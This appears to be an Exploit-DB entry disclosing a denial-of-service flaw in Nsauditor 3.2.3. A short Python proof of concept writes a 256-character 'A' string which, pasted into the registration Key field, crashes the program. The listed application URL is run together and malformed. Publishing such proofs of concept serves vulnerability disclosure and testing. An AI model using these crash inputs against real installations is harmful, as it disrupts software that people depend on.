Nsauditor 3.2.3 - Denial of Service (PoC)

Author: Erick Galindo
type: dos
platform: windows
port: 
date_added: 2021-06-08 
date_updated: 2021-10-28 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comnsauditor_setup.exe

# Exploit Title: Nsauditor 3.2.3 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo
# Vendor Homepage: http://www.nsauditor.com
# Software http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Version: 3.2.3.0
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Open Nsauditor.exe
#3.- Go to Register > Enter Registration Code...
#4.- Write anything in 'Name' field
#5.- Paste clipboard in 'Key' field
#6.- Click on button -> Ok

buffer = "\x41" * 256

f = open ("NBM.txt", "w")
f.write(buffer)
f.close()